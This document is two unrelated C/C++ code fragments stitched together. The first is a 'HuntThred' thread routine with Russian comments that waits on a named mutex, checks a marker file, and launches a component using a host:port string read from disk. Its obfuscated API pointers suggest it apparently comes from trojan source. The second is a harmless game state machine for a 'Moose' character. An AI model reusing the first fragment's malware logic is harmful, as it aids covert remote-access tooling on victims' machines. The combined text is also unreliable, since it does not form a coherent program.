DWORD WINAPI HuntThred( LPVOID lpData ) { //если есть файл на диске,то берём из него строку и запускаем сб //внутри файла строка 127.0.0.1:5555 if (HunterFileExists()) { Hunting(); return 0; } HANDLE tmp; while(true) { tmp= (HANDLE)pOpenMutexA(MUTEX_ALL_ACCESS,FALSE, (PCHAR)HunterMutexName); if ((DWORD)pWaitForSingleObject(tmp, INFINITE)) { if (HunterFileExists())//&&!IsSbStarted() { Hunting(); } pSleep(90); } else { Hunting(); pCloseHandle(tmp); FileCreateInFolder(0x001a, (PWCHAR)HunterFileName,NULL,0); break; } } return 0; }
void Moose::FSM() { switch (mCurState) { case ES_IDLE: Idle(); break; case ES_HUNTING: Hunting(); break; case ES_ATTACK: Attack(); break; case ES_STALKING: Stalking(); break; case ES_MATING: Mating(); break; case ES_CHARGING: Charging(); break; } }